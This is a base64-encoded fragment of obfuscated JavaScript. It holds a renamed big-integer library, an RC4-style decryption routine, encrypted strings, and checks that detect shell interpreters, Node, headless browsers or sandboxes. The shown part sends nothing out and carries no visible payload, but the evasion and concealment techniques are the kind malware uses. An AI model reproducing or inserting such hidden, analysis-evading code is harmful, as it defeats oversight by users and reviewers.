PSAwKSByZXR1cm4gMDsKIHJldHVybiB0aGlzLkRCKih0aGlzLnQtMSkrSWwxSUUodGhpc1t0aGlzLnQtMV1eKHRoaXMucyZ0aGlzLkRNKSk7CiB9CgogZnVuY3Rpb24gSWwxSUtibihuLHIpIHsKIHZhciBpOwogZm9yKGkgPSB0aGlzLnQtMTsgaSA+PSAwOyAtLWkpIHJbaStuXSA9IHRoaXNbaV07CiBmb3IoaSA9IG4tMTsgaSA+PSAwOyAtLWkpIHJbaV0gPSAwOwogci50ID0gdGhpcy50K247CiByLnMgPSB0aGlzLnM7CiB9CgogZnVuY3Rpb24gSWwxSU9ibihuLHIpIHsKIGZvcih2YXIgaSA9IG47IGkgPCB0aGlzLnQ7ICsraSkgcltpLW5dID0gdGhpc1tpXTsKIHIudCA9IElsMUliLm1heCh0aGlzLnQtbiwwKTsKIHIucyA9IHRoaXMuczsKIH0KCiBmdW5jdGlvbiBJbDFJUmJuKG4scikgewogdmFyIGJzID0gbiV0aGlzLkRCOwogdmFyIGNicyA9IHRoaXMuREItYnM7CiB2YXIgYm0gPSAoMTw8Y2JzKS0xOwogdmFyIGRzID0gTWF0aC5mbG9vcihuL3RoaXMuREIpLCBjID0gKHRoaXMuczw8YnMpJnRoaXMuRE0sIGk7CiBmb3IoaSA9IHRoaXMudC0xOyBpID49IDA7IC0taSkgewogcltpK2RzKzFdID0gKHRoaXNbaV0+PmNicyl8YzsKIGMgPSAodGhpc1tpXSZibSk8PGJzOwogfQogZm9yKGkgPSBkcy0xOyBpID49IDA7IC0taSkgcltpXSA9IDA7CiByW2RzXSA9IGM7CiByLnQgPSB0aGlzLnQrZHMrMTsKIHIucyA9IHRoaXMuczsKIHIuSWwxSU4oKTsKIH0KCiBmdW5jdGlvbiBJbDFJU2JuKG4scikgewogci5zID0gdGhpcy5zOwogdmFyIGRzID0gTWF0aC5mbG9vcihuL3RoaXMuREIpOwogaWYoZHMgPj0gdGhpcy50KSB7IHIudCA9IDA7IHJldHVybjsgfQogdmFyIGJzID0gbiV0aGlzLkRCOwogdmFyIGNicyA9IHRoaXMuREItYnM7CiB2YXIgYm0gPSAoMTw8YnMpLTE7CiByWzBdID0gdGhpc1tkc10+PmJzOwogZm9yKHZhciBpID0gZHMrMTsgaSA8IHRoaXMudDsgKytpKSB7CiByW2ktZHMtMV0gfD0gKHRoaXNbaV0mYm0pPDxjYnM7CiByW2ktZHNdID0gdGhpc1tpXT4+YnM7CiB9CiBpZihicyA+IDApIHJbdGhpcy50LWRzLTFdIHw9ICh0aGlzLnMmYm0pPDxjYnM7CiByLnQgPSB0aGlzLnQtZHM7CiByLklsMUlOKCk7CiB9CgogZnVuY3Rpb24gSWwxSU1ibihhLHIpIHsKIHZhciBpID0gMCwgYyA9IDAsIG0gPSBNYXRoLm1pbihhLnQsdGhpcy50KTsKIHdoaWxlKGkgPCBtKSB7CiBjICs9IHRoaXNbaV0tYVtpXTsKIHJbaSsrXSA9IGMmdGhpcy5ETTsKIGMgPj49IHRoaXMuREI7CiB9CiBpZihhLnQgPCB0aGlzLnQpIHsKIGMgLT0gYS5zOwogd2hpbGUoaSA8IHRoaXMudCkgewogYyArPSB0aGlzW2ldOwogcltpKytdID0gYyZ0aGlzLkRNOwogYyA+Pj0gdGhpcy5EQjsKIH0KIGMgKz0gdGhpcy5zOwogfQogZWxzZSB7CiBjICs9IHRoaXMuczsKIHdoaWxlKGkgPCBhLnQpIHsKIGMgLT0gYVtpXTsKIHJbaSsrXSA9IGMmdGhpcy5ETTsKIGMgPj49IHRoaXMuREI7CiB9CiBjIC09IGEuczsKIH0KIHIucyA9IChjPDApPy0xOjA7CiBpZihjIDwgLTEpIHJbaSsrXSA9IHRoaXMuRFYrYzsKIGVsc2UgaWYoYyA+IDApIHJbaSsrXSA9IGM7CiByLnQgPSBpOwogci5JbDFJTigpOwogfQoKIGZ1bmN0aW9uIElsMUlJYm4oYSxyKSB7CiB2YXIgeCA9IHRoaXMuSWwxSWxsMWEoKSwgeSA9IGEuSWwxSWxsMWEoKTsKIHZhciBpID0geC50Owogci50ID0gaSt5LnQ7CiB3aGlsZSgtLWkgPj0gMCkgcltpXSA9IDA7CiBmb3IoaSA9IDA7IGkgPCB5LnQ7ICsraSkgcltpK3gudF0gPSB4LmFtKDAseVtpXSxyLGksMCx4LnQpOwogci5zID0gMDsKIHIuSWwxSU4oKTsKIGlmKHRoaXMucyAhPSBhLnMpIElsMUlMLklsMUlNKHIscik7CiB9CgogZnVuY3Rpb24gSWwxSUpibihyKSB7CiB2YXIgeCA9IHRoaXMuSWwxSWxsMWEoKTsKIHZhciBpID0gci50ID0gMip4LnQ7CiB3aGlsZSgtLWkgPj0gMCkgcltpXSA9IDA7CiBmb3IoaSA9IDA7IGkgPCB4LnQtMTsgKytpKSB7CiB2YXIgYyA9IHguYW0oaSx4W2ldLHIsMippLDAsMSk7CiBpZigocltpK3gudF0rPXguYW0oaSsxLDIqeFtpXSxyLDIqaSsxLGMseC50LWktMSkpID49IHguRFYpIHsKIHJbaSt4LnRdIC09IHguRFY7CiByW2kreC50KzFdID0gMTsKIH0KIH0KIGlmKHIudCA+IDApIHJbci50LTFdICs9IHguYW0oaSx4W2ldLHIsMippLDAsMSk7CiByLnMgPSAwOwogci5JbDFJTigpOwogfQoKIGZ1bmN0aW9uIElsMUlIYm4obSxxLHIpIHsKIHZhciBwbSA9IG0uSWwxSWxsMWEoKTsKIGlmKHBtLnQgPD0gMCkgcmV0dXJuOwogdmFyIHB0ID0gdGhpcy5JbDFJbGwxYSgpOwogaWYocHQudCA8IHBtLnQpIHsKIGlmKHEgIT0gbnVsbCkgcS5JbDFJRCgwKTsKIGlmKHIgIT0gbnVsbCkgdGhpc1tJbDFJZV0ocik7CiByZXR1cm47CiB9CiBpZihyID09IG51bGwpIHIgPSBJbDFJeCgpOwogdmFyIHkgPSBJbDFJeCgpLCB0cyA9IHRoaXMucywgbXMgPSBtLnM7CiB2YXIgbnNoID0gdGhpcy5EQi1JbDFJRShwbVtwbS50LTFdKTsKIGlmKG5zaCA+IDApIHsgcG0uSWwxSVIobnNoLHkpOyBwdC5JbDFJUihuc2gscik7IH0KIGVsc2UgeyBwbVtJbDFJZV0oeSk7IHB0W0lsMUllXShyKTsgfQogdmFyIHlzID0geS50OwogdmFyIHkwID0geVt5cy0xXTsKIGlmKHkwID09IDApIHJldHVybjsKIHZhciB5dCA9IHkwKigxPDx0aGlzLkYxKSsoKHlzPjEpP3lbeXMtMl0+PnRoaXMuRjI6MCk7CiB2YXIgZDEgPSB0aGlzLkZWL3l0LCBkMiA9ICgxPDx0aGlzLkYxKS95dCwgZSA9IDE8PHRoaXMuRjI7CiB2YXIgaSA9IHIudCwgaiA9IGkteXMsIHQgPSAocT09bnVsbCk/SWwxSXgoKTpxOwogeS5JbDFJSyhqLHQpOwogaWYoci5JbDFJRyh0KSA+PSAwKSB7CiByW3IudCsrXSA9IDE7CiByLklsMUlNKHQscik7CiB9CiBJbDFJVC5JbDFJSyh5cyx0KTsKIHQuSWwxSU0oeSx5KTsKIHdoaWxlKHkudCA8IHlzKSB5W3kudCsrXSA9IDA7CiB3aGlsZSgtLWogPj0gMCkgewogdmFyIHFkID0gKHJbLS1pXT09eTApP3RoaXMuRE06TWF0aC5mbG9vcihyW2ldKmQxKyhyW2ktMV0rZSkqZDIpOwogaWYoKHJbaV0rPXkuYW0oMCxxZCxyLGosMCx5cykpIDwgcWQpIHsKIHkuSWwxSUsoaix0KTsKIHIuSWwxSU0odCxyKTsKIHdoaWxlKHJbaV0gPCAtLXFkKSByLklsMUlNKHQscik7CiB9CiB9CiBpZihxICE9IG51bGwpIHsKIHIuSWwxSU8oeXMscSk7CiBpZih0cyAhPSBtcykgSWwxSUwuSWwxSU0ocSxxKTsKIH0KIHIudCA9IHlzOwogci5JbDFJTigpOwogaWYobnNoID4gMCkgci5JbDFJUyhuc2gscik7CiBpZih0cyA8IDApIElsMUlMLklsMUlNKHIscik7CiB9CgogZnVuY3Rpb24gSWwxSVVibigpIHsgcmV0dXJuICgodGhpcy50PjApPyh0aGlzWzBdJjEpOnRoaXMucykgPT0gMDsgfQoKIElsMUlzID0gSWwxSXVbSWwxSWhdOwogSWwxSXMuY29weVRvID0gSWwxSWVibjsKIElsMUlzLklsMUlEID0gSWwxSURibjsKIElsMUlzLklsMUl3ID0gSWwxSXdibjsKIElsMUlzLklsMUlOID0gSWwxSU5ibjsKIElsMUlzLklsMUlLID0gSWwxSUtibjsKIElsMUlzLklsMUlPID0gSWwxSU9ibjsKIElsMUlzLklsMUlSID0gSWwxSVJibjsKIElsMUlzLklsMUlTID0gSWwxSVNibjsKIElsMUlzLklsMUlNID0gSWwxSU1ibjsKIElsMUlzLklsMUlJID0gSWwxSUlibjsKIElsMUlzLklsMUlKID0gSWwxSUpibjsKIElsMUlzLklsMUlIID0gSWwxSUhibjsKIElsMUlzLklsMUlsbDFlID0gSWwxSWxsMWVibjsKIElsMUlzLklsMUlVID0gSWwxSVVibjsKCiBJbDFJcy5JbDFJbGwxYyA9IElsMUlsbDFjYm47CiBJbDFJcy5JbDFJbGwxdCA9IElsMUlsbDF0Ym47CiBJbDFJcy5JbDFJbGwxZiA9IElsMUlsbDFmYm47CiBJbDFJcy5JbDFJbGwxbSA9IElsMUlsbDFtYm47CiBJbDFJcy5JbDFJbGwxbiA9IElsMUlsbDFuYm47CiBJbDFJcy5JbDFJbGwxaSA9IElsMUlsbDFpYm47CiBJbDFJcy5JbDFJbGwxbyA9IElsMUlsbDFvYm47CiBJbDFJcy50b1N0cmluZyA9IElsMUlsbDFzOwogSWwxSXMuSWwxSWxsMWEgPSBJbDFJbGwxYWJuOwogSWwxSXMuSWwxSUcgPSBJbDFJR2JuOwogSWwxSXMuSWwxSW1hID0gSWwxSW1hYm47CgogSWwxSUwgPSBJbDFJQygwKTsKIElsMUlUID0gSWwxSUMoMSk7CgogZnVuY3Rpb24gSWwxSWxsMWRibihhKSB7IHZhciByID0gSWwxSXgoKTsgdGhpcy5JbDFJSChhLHIsbnVsbCk7IHJldHVybiByOyB9CgogZnVuY3Rpb24gSWwxSWxsMWVibigpIHsKIGlmKHRoaXMudCA8IDEpIHJldHVybiAwOwogdmFyIHggPSB0aGlzWzBdOwogaWYoKHgmMSkgPT0gMCkgcmV0dXJuIDA7CiB2YXIgeSA9IHgmMzsKIHkgPSAoeSooMi0oeCYxNSkqeSkpJjE1OwogeSA9ICh5KigyLSh4JjI1NSkqeSkpJjI1NTsKIHkgPSAoeSooMi0oKCh4JjY1NTM1KSp5KSY2NTUzNSkpKSY2NTUzNTsKIHkgPSAoeSooMi14KnkldGhpcy5EVikpJXRoaXMuRFY7CiByZXR1cm4gKHk+MCk/dGhpcy5EVi15Oi15OwogfQoKIGZ1bmN0aW9uIElsMUlRYm4obix3KSB7CiBpZihuID09IDApIHJldHVybjsKIHdoaWxlKHRoaXMudCA8PSB3KSB0aGlzW3RoaXMudCsrXSA9IDA7CiB0aGlzW3ddICs9IG47CiB3aGlsZSh0aGlzW3ddID49IHRoaXMuRFYpIHsKIHRoaXNbd10gLT0gdGhpcy5EVjsKIGlmKCsrdyA+PSB0aGlzLnQpIHRoaXNbdGhpcy50KytdID0gMDsKICsrdGhpc1t3XTsKIH0KIH0KCiBmdW5jdGlvbiBJbDFJbGwxbWxibihhLG4scikgewogdmFyIGkgPSBNYXRoLm1pbih0aGlzLnQrYS50LG4pOwogci5zID0gMDsKIHIudCA9IGk7CiB3aGlsZShpID4gMCkgclstLWldID0gMDsKIHZhciBqOwogZm9yKGogPSByLnQtdGhpcy50OyBpIDwgajsgKytpKSByW2krdGhpcy50XSA9IHRoaXMuYW0oMCxhW2ldLHIsaSwwLHRoaXMudCk7CiBmb3IoaiA9IE1hdGgubWluKGEudCxuKTsgaSA8IGo7ICsraSkgdGhpcy5hbSgwLGFbaV0scixpLDAsbi1pKTsKIHIuSWwxSU4oKTsKIH0KCiBmdW5jdGlvbiBJbDFJbGwxbXVibihhLG4scikgewogLS1uOwogdmFyIGkgPSByLnQgPSB0aGlzLnQrYS50LW47CiByLnMgPSAwOwogd2hpbGUoLS1pID49IDApIHJbaV0gPSAwOwogZm9yKGkgPSBNYXRoLm1heChuLXRoaXMudCwwKTsgaSA8IGEudDsgKytpKQogclt0aGlzLnQraS1uXSA9IHRoaXMuYW0obi1pLGFbaV0sciwwLDAsdGhpcy50K2ktbik7CiByLklsMUlOKCk7CiByLklsMUlPKDEscik7CiB9CgogZnVuY3Rpb24gSWwxSWJhYm4oYSxiLGMpIHsKIHJldHVybiBudWxsOwogfQoKIGZ1bmN0aW9uIElsMUlGKG0pIHsgdGhpcy5tID0gbTsgfQogZnVuY3Rpb24gSWwxSUZwYSh4KSB7CiBpZih4LnMgPCAwIHx8IHguSWwxSUcodGhpcy5tKSA+PSAwKSByZXR1cm4geC5tb2QodGhpcy5tKTsKIGVsc2UgcmV0dXJuIHg7CiB9CgogZnVuY3Rpb24gSWwxSUZzYSh4KSB7IHJldHVybiB4OyB9CiBmdW5jdGlvbiBJbDFJRnJlKHgpIHsgeC5JbDFJSCh0aGlzLm0sbnVsbCx4KTsgfQogZnVuY3Rpb24gSWwxSUZqYSh4LHkscikgeyB4LklsMUlJKHkscik7IHRoaXNbSWwxSWZdKHIpOyB9CiBmdW5jdGlvbiBJbDFJRlAoeCxyKSB7IHguSWwxSUoocik7IHRoaXNbSWwxSWZdKHIpOyB9CgogSWwxSXMgPSBJbDFJRltJbDFJaF07CiBJbDFJcy5wYSA9IElsMUlGcGE7CiBJbDFJcy5zYSA9IElsMUlGc2E7CiBJbDFJcy5yZWR1Y2UgPSBJbDFJRnJlOwogSWwxSXMuamEgPSBJbDFJRmphOwogSWwxSXMuUCA9IElsMUlGUDsKCiBmdW5jdGlvbiBJbDFJb2EobSkgewogdGhpcy5yMiA9IElsMUl4KCk7CiB0aGlzLnEzID0gSWwxSXgoKTsKIElsMUlULklsMUlLKDIqbS50LHRoaXMucjIpOwogdGhpcy5tdSA9IHRoaXMucjIuSWwxSWxsMWQobSk7CiB0aGlzLm0gPSBtOwogfQoKIGZ1bmN0aW9uIElsMUlvYXBhKHgpIHsKIGlmKHgucyA8IDAgfHwgeC50ID4gMip0aGlzLm0udCkgcmV0dXJuIHgubW9kKHRoaXMubSk7CiBlbHNlIGlmKHguSWwxSUcodGhpcy5tKSA8IDApIHJldHVybiB4OwogZWxzZSB7IHZhciByID0gSWwxSXgoKTsgeFtJbDFJZV0ocik7IHRoaXNbSWwxSWZdKHIpOyByZXR1cm4gcjsgfQogfQoKIGZ1bmN0aW9uIElsMUlvYXNhKHgpIHsgcmV0dXJuIHg7IH0KCiBmdW5jdGlvbiBJbDFJb2FyZSh4KSB7CiB4LklsMUlPKHRoaXMubS50LTEsdGhpcy5yMik7CiBpZih4LnQgPiB0aGlzLm0udCsxKSB7IHgudCA9IHRoaXMubS50KzE7IHguSWwxSU4oKTsgfQogdGhpcy5tdS5JbDFJbGwxbXUodGhpcy5yMix0aGlzLm0udCsxLHRoaXMucTMpOwogdGhpcy5tLklsMUlsbDFtbCh0aGlzLnEzLHRoaXMubS50KzEsdGhpcy5yMik7CiB3aGlsZSh4LklsMUlHKHRoaXMucjIpIDwgMCkgeC5JbDFJUSgxLHRoaXMubS50KzEpOwogeC5JbDFJTSh0aGlzLnIyLHgpOwogd2hpbGUoeC5JbDFJRyh0aGlzLm0pID49IDApIHguSWwxSU0odGhpcy5tLHgpOwogfQoKIGZ1bmN0aW9uIElsMUlvYVAoeCxyKSB7IHguSWwxSUoocik7IHRoaXNbSWwxSWZdKHIpOyB9CgogZnVuY3Rpb24gSWwxSW9hamEoeCx5LHIpIHsgeC5JbDFJSSh5LHIpOyB0aGlzW0lsMUlmXShyKTsgfQoKIElsMUlzID0gSWwxSW9hW0lsMUloXTsKIElsMUlzLnBhID0gSWwxSW9hcGE7CiBJbDFJcy5zYSA9IElsMUlvYXNhOwogSWwxSXMucmVkdWNlID0gSWwxSW9hcmU7CiBJbDFJcy5qYSA9IElsMUlvYWphOwogSWwxSXMuUCA9IElsMUlvYVA7CgoKIGZ1bmN0aW9uIElsMUlpYShtKSB7CiB0aGlzLm0gPSBtOwogdGhpcy5tcCA9IG0uSWwxSWxsMWUoKTsKIHRoaXMubXBsID0gdGhpcy5tcCYzMjc2NzsKIHRoaXMubXBoID0gdGhpcy5tcD4+MTU7CiB0aGlzLnVtID0gKDE8PChtLkRCLTE1KSktMTsKIHRoaXMubXQyID0gMiptLnQ7CiB9CgogZnVuY3Rpb24gSWwxSWlhcGEoeCkgewogdmFyIHIgPSBJbDFJeCgpOwogeC5JbDFJbGwxYSgpLklsMUlLKHRoaXMubS50LHIpOwogci5JbDFJSCh0aGlzLm0sbnVsbCxyKTsKIGlmKHgucyA8IDAgJiYgci5JbDFJRyhJbDFJTCkgPiAwKSB0aGlzLm0uSWwxSU0ocixyKTsKIHJldHVybiByOwogfQoKIGZ1bmN0aW9uIElsMUlpYXNhKHgpIHsKIHZhciByID0gSWwxSXgoKTsKIHhbSWwxSWVdKHIpOwogdGhpc1tJbDFJZl0ocik7CiByZXR1cm4gcjsKIH0KCiBmdW5jdGlvbiBJbDFJaWFyZSh4KSB7CiB3aGlsZSh4LnQgPD0gdGhpcy5tdDIpCiB4W3gudCsrXSA9IDA7CiBmb3IodmFyIGkgPSAwOyBpIDwgdGhpcy5tLnQ7ICsraSkgewogdmFyIGogPSB4W2ldJjMyNzY3OwogdmFyIHUwID0gKGoqdGhpcy5tcGwrKCgoaip0aGlzLm1waCsoeFtpXT4+MTUpKnRoaXMubXBsKSZ0aGlzLnVtKTw8MTUpKSZ4LkRNOwogaiA9IGkrdGhpcy5tLnQ7CiB4W2pdICs9IHRoaXMubS5hbSgwLHUwLHgsaSwwLHRoaXMubS50KTsKIHdoaWxlKHhbal0gPj0geC5EVikgeyB4W2pdIC09IHguRFY7IHhbKytqXSsrOyB9CiB9CiB4LklsMUlOKCk7CiB4LklsMUlPKHRoaXMubS50LHgpOwogaWYoeC5JbDFJRyh0aGlzLm0pID49IDApIHguSWwxSU0odGhpcy5tLHgpOwogfQoKIGZ1bmN0aW9uIElsMUlpYVAoeCxyKSB7IHguSWwxSUoocik7IHRoaXNbSWwxSWZdKHIpOyB9CgogZnVuY3Rpb24gSWwxSWlhamEoeCx5LHIpIHsgeC5JbDFJSSh5LHIpOyB0aGlzW0lsMUlmXShyKTsgfQoKIElsMUlzID0gSWwxSWlhW0lsMUloXTsKIElsMUlzLnBhID0gSWwxSWlhcGE7CiBJbDFJcy5zYSA9IElsMUlpYXNhOwogSWwxSXMucmVkdWNlID0gSWwxSWlhcmU7CiBJbDFJcy5qYSA9IElsMUlpYWphOwogSWwxSXMuUCA9IElsMUlpYVA7CgogZnVuY3Rpb24gSWwxSVhibihlLG0pIHsKIHZhciBpID0gZS5JbDFJbWEoKSwgaywgciA9IElsMUlDKDEpLCB6OwogaWYoaSA8PSAwKSByZXR1cm4gcjsKIGVsc2UgaWYoaSA8IDE4KSBrID0gMTsKIGVsc2UgaWYoaSA8IDQ4KSBrID0gMzsKIGVsc2UgaWYoaSA8IDE0NCkgayA9IDQ7CiBlbHNlIGlmKGkgPCA3NjgpIGsgPSA1OwogZWxzZSBrID0gNjsKIGlmKGkgPCA4KQogeiA9IG5ldyBJbDFJRihtKTsKIGVsc2UgaWYobS5JbDFJVSgpKQogeiA9IG5ldyBJbDFJb2EobSk7CiBlbHNlCiB6ID0gbmV3IElsMUlpYShtKTsKCiB2YXIgZyA9IG5ldyBBcnJheSgpLCBuID0gMywgazEgPSBrLTEsIGttID0gKDE8PGspLTE7CiBnWzFdID0gei5wYSh0aGlzKTsKIGlmKGsgPiAxKSB7CiB2YXIgZzIgPSBJbDFJeCgpOwogei5QKGdbMV0sZzIpOwogd2hpbGUobiA8PSBrbSkgewogZ1tuXSA9IElsMUl4KCk7CiB6LmphKGcyLGdbbi0yXSxnW25dKTsKIG4gKz0gMjsKIH0KIH0KCiB2YXIgaiA9IGUudC0xLCB3LCBpczEgPSB0cnVlLCByMiA9IElsMUl4KCksIHQ7CiBpID0gSWwxSUUoZVtqXSktMTsKIHdoaWxlKGogPj0gMCkgewogaWYoaSA+PSBrMSkgdyA9IChlW2pdPj4oaS1rMSkpJmttOwogZWxzZSB7CiB3ID0gKGVbal0mKCgxPDwoaSsxKSktMSkpPDwoazEtaSk7CiBpZihqID4gMCkgdyB8PSBlW2otMV0+Pih0aGlzLkRCK2ktazEpOwogfQoKIG4gPSBrOwogd2hpbGUoKHcmMSkgPT0gMCkgeyB3ID4+PSAxOyAtLW47IH0KIGlmKChpIC09IG4pIDwgMCkgeyBpICs9IHRoaXMuREI7IC0tajsgfQogaWYoaXMxKSB7CiBnW3ddW0lsMUllXShyKTsKIGlzMSA9IGZhbHNlOwogfQogZWxzZSB7CiB3aGlsZShuID4gMSkgeyB6LlAocixyMik7IHouUChyMixyKTsgbiAtPSAyOyB9CiBpZihuID4gMCkgei5QKHIscjIpOyBlbHNlIHsgdCA9IHI7IHIgPSByMjsgcjIgPSB0OyB9CiB6LmphKHIyLGdbd10scik7CiB9Cgogd2hpbGUoaiA+PSAwICYmIChlW2pdJigxPDxpKSkgPT0gMCkgewogei5QKHIscjIpOyB0ID0gcjsgciA9IHIyOyByMiA9IHQ7CiBpZigtLWkgPCAwKSB7IGkgPSB0aGlzLkRCLTE7IC0tajsgfQogfQogfQogcmV0dXJuIHouc2Eocik7CiB9CgogSWwxSXMgPSBJbDFJdVtJbDFJaF0KIElsMUlzLklsMUlRID0gSWwxSVFibjsKIElsMUlzLklsMUlsbDFtbCA9IElsMUlsbDFtbGJuOwogSWwxSXMuSWwxSWxsMW11ID0gSWwxSWxsMW11Ym47CiBJbDFJcy5JbDFJYmEgPSBJbDFJYmFibjsKIElsMUlzLklsMUlsbDFkID0gSWwxSWxsMWRibjsKIElsMUlzLklsMUlYID0gSWwxSVhibjsKCiBpZiAodHlwZW9mIGV4cG9ydHMgIT09ICd1bmRlZmluZWQnKSB7CiBleHBvcnRzID0gbW9kdWxlLmV4cG9ydHMgPSB7CiBJbDFJdTogSWwxSXUsCiB9OwogfSBlbHNlIHsKIHRoaXMuSWwxSWxsbDFJMWwgPSB7CiBJbDFJdTpJbDFJdSAsCiB9OwogfQoKfSkuY2FsbCh0aGlzKTsKCmZ1bmN0aW9uIElsMUl0YSgpCnsKIGZvciAodmFyIGEgPSAnJzsgMzIgPiBhW0lsMUluXTspIHN3aXRjaCAoSWwxSWJbSWwxSXFdKElsMUliW0lsMUlrXSgpKSkKIHsKIGNhc2UgMDoKIGEgKz0gSWwxSWNbSWwxSWxdKElsMUliW0lsMUlxXSg5ICogSWwxSWJbSWwxSWtdKCkpICsgNDgpOwogY2FzZSAxOgogYSArPSBJbDFJY1tJbDFJbF0oSWwxSWJbSWwxSXFdKDUgKiBJbDFJYltJbDFJa10oKSkgKyA2NSkKIH0KIHJldHVybiBhOwp9CgpmdW5jdGlvbiBJbDFJeGEoKQp7CiB2YXIgYSA9ICcnOwogdmFyIGIgPSBJbDFJWShJbDFJYmJBYSlbSWwxSWJic3NdKChJbDFJYmJzbipJbDFJYmJzaStJbDFJYmJzbyksIChJbDFJYmJzbytJbDFJYmJzbikpOwogdmFyIGMgPSAoSWwxSWJic28rSWwxSWJic24pKklsMUliYnNpOwogZm9yKHZhciBpPTA7aTxjO2krKykKIHsKIGEgKz0gYltJbDFJal0oSWwxSWJbSWwxSXFdKElsMUliW0lsMUlrXSgpICogYltJbDFJbl0pKTsKIH0KIHJldHVybiBhOwp9CgpmdW5jdGlvbiBJbDFJeWEoKQp7CiB2YXIgSWwxSXUgPSBJbDFJbGxsMUkxbC5JbDFJdTsKIHRoaXMuTCA9IG5ldyBJbDFJdShJbDFJeGEoKSwgKElsMUliYnNvK0lsMUliYnNuKSk7CiB0aGlzLmljID0gbmV3IElsMUl1KElsMUl4YSgpLCAoSWwxSWJic28qMy1JbDFJYmJzaSkpOwogdGhpcy5oYSA9IG5ldyBJbDFJdShJbDFJdGEoKSwgKElsMUliYnNvKklsMUliYnNpK0lsMUliYnNpKklsMUliYnNpKSk7CiB0aGlzLkpiID0gdGhpcy5MLklsMUlYKHRoaXMuaWMsIHRoaXMuaGEpOwp9CgoKZnVuY3Rpb24gSWwxSXYoYSwgYikgewogYiA9IElsMUliYnNqKGIpOwogZm9yICh2YXIgYyA9IFtdLCBkID0gMCwgZSwgZiA9ICcnLCBnID0gMDsgMjU2ID4gZzsgZysrKSBjW2ddID0gZzsKIGZvciAoZyA9IDA7IDI1NiA+IGc7IGcrKykgZCA9IChkICsgY1tnXSArIGFbSWwxSXBdKGcgJSBhW0lsMUluXSkpICUgMjU2LCBlID0gY1tnXSwgY1tnXSA9IGNbZF0sIGNbZF0gPSBlOwogZm9yICh2YXIgaCA9IGQgPSBnID0gMDsgaCA8IGJbSWwxSW5dOyBoKyspIGcgPSAoZyArIDEpICUgMjU2LCBkID0gKGQgKyBjW2ddKSAlIDI1NiwgZSA9IGNbZ10sIGNbZ10gPSBjW2RdLCBjW2RdID0gZSwgZiArPSBJbDFJY1tJbDFJbF0oYltJbDFJcF0oaCkgXiBjWyhjW2ddICsgY1tkXSkgJSAyNTZdKTsKIHJldHVybiBmCn07CgoKSWwxSXNhID0gZnVuY3Rpb24oKSB7CiB0aGlzLmdXID0gJydbJz5fPCddKCdkJTEzJTA2JTVEJUEyJTlDUSVDOCUxNCVEMSVCQiVGMSU5RSU3RSVBMCVCRiUwRSVBNyU5OGwlRjAlRDMlOTYlMTAlN0JGJUU1JTlFJThFJTFFJUIxJTlFJTE1JUE4JUE3JUQyJThGdiVBQyUzQyVEQislOThKZSVDOSU5QSU5NCcsIDEyLCAxNywgMTU1KTsKIHRoaXMuWXcgPSAnJyBbJ28zbyddKCclQ0ZSJTE4JTAzJUU1JUJGJURFZiU4MCU5Qy4lRkEnLCAxNDAsIDksIDgxKTsKIHRoaXMuZGMgPSAnJyBbJy0sLSddKCclRjVzJTlBZUklOENXJUMxRTRsJUNFJUQyNCUyMSVFMyVGRiU5M3klRDExJUVEJTE1JTAwJTI4NkclRTUlOEUlREFGJywgMTQ4LCA5LCAyMDcpOwogdGhpcy5LSiA9ICcnIFsnT3J6J10oJyVGNyVBRSUyMC8lOEQlOUIlRjYlQTJwTCVEOCVBNCUyNDUnLCAxODAsIDEyOSwgMTMpOwp9CgoKSWwxSXdhID0gZnVuY3Rpb24oKSB7CiBmdW5jdGlvbiBJbDFJbDFJbDFhKCkgewogdmFyIGEgPSBmYWxzZTsKIHRyeSB7CiB2YXIgYiA9IG9zOwogdmFyIGMgPSBwcmludDsKIGMoYlsnJyBbJz5fPCddKCclMEElRkIlQTAlRDglMjglOUInLCAxMjEsIDksIDY1KV0oJydbJ2xvbCddKCdLJURFJUFDbCcsIDQ2LCA5LCAzMSksIFsnJyBbJy0sLSddKCclOTYlNUUlN0YlMTFYJTVFJTAxJUEyJTlBMyVDOSU5QyUzQW0lQ0NaLyU1QyolN0IvJUZBNSVFOVUlMjglRkQ1JTFDJUM3JUNFJUFBWiVGRSUwMiVBMSVFNyVFOSVFRSU1RDIlOTgnLCAyMjMsIDksIDE2NyldKSk7CiBhID0gIUlsMUliYnN0OwogfSBjYXRjaChtKXthPWZhbHNlO307CiByZXR1cm4gYTsKIH07CgogZnVuY3Rpb24gSWwxSWwxSWwxYigpIHsKIHZhciBhID0gSWwxSWJic3Q7CiB0cnkgewogdmFyIGIgPSB3aW5kb3c7CiBpZiAodHlwZW9mIGIgPT09ICcnWydsb2wnXSgnJTA0JUM2JURGJTdGJTkzVSVGMSVFQiU1RCcsIDExMywgNSwgMTE1KSkKIHsKIGEgPSB0cnVlOwogfQogfSBjYXRjaCAoeikge307CgogaWYgKCFhKQogewogdHJ5IHsKIHZhciBjID0gcHJvY2VzczsKIGlmICh0eXBlb2YgYyA9PT0gJydbJ09yeiddKCclMEMlN0MlREIlQjklM0MlOEUnLCA5OSwgOSwgMTYzKSAmJiBjICsgJycgPT09ICcnWyctLC0nXSgnJUVBJTAxJTk5MiVFMCVFMSUzQiVDQyUyOSVFNCVDQyVFM0glRDklODRJJywgMTc3LCAxNywgMTczKSkKIHsKIGEgPSB0cnVlOwogfQogfSBjYXRjaCh5KSB7fTsKIH0KIHJldHVybiBhOwogfTsKCiBmdW5jdGlvbiBJbDFJbDFJbDFjKCkgewogdmFyIGEgPSBmYWxzZTsKIHRyeSB7CiB2YXIgZCA9IHdpbmRvdzsKIHZhciBlID0gZFsnJ1snT0dDJ10oJ2QlQ0JJJUREbXVYJTE4JTg3LicsIDExLCA1LCAxMzUpXTsKIHZhciBmID0gZFsnJ1snPl88J10oJyUzQWMlOTMlQUQlQ0IlRjIlQUUlODV6NiVEQicsIDg1LCAxNywgMTEzKV07CiBpZiAoZSA9PT0gMCAmJiBmID09PSAwKSAKIHsKIGEgPSB0cnVlOwogfQogfSBjYXRjaCAoeCkge2EgPSB0cnVlfTsKCiBpZiAoIWEpCiB7CiB0cnkgewogdmFyIGcgPSB3aW5kb3c7CiBhID0gISFnWycnWydsb2wnXSgnZkslRjMlMDglMjklQjYlRjIlRjYlOTklRkQlRUEnLCA1LCAxNywgMjEzKV0KIH0gY2F0Y2ggKHcpIHt9OwogfQogcmV0dXJuIGE7CiB9OwoKIHRoaXMuTWkgPSBJbDFJbDFJbDFhKCk7CiB0aGlzLnBBID0gSWwxSWwxSWwxYigpOwogdGhpcy5DQSA9IElsMUlsMUlsMWMoKTsKfQoKSWwxSXFhID0gZnVuY3Rpb24oKSB7CiBmdW5jdGlvbiBJbDFJbDFJbDFkKGEsYikgewogaWYgKGE8MC4wMDAwMDAwMSkgew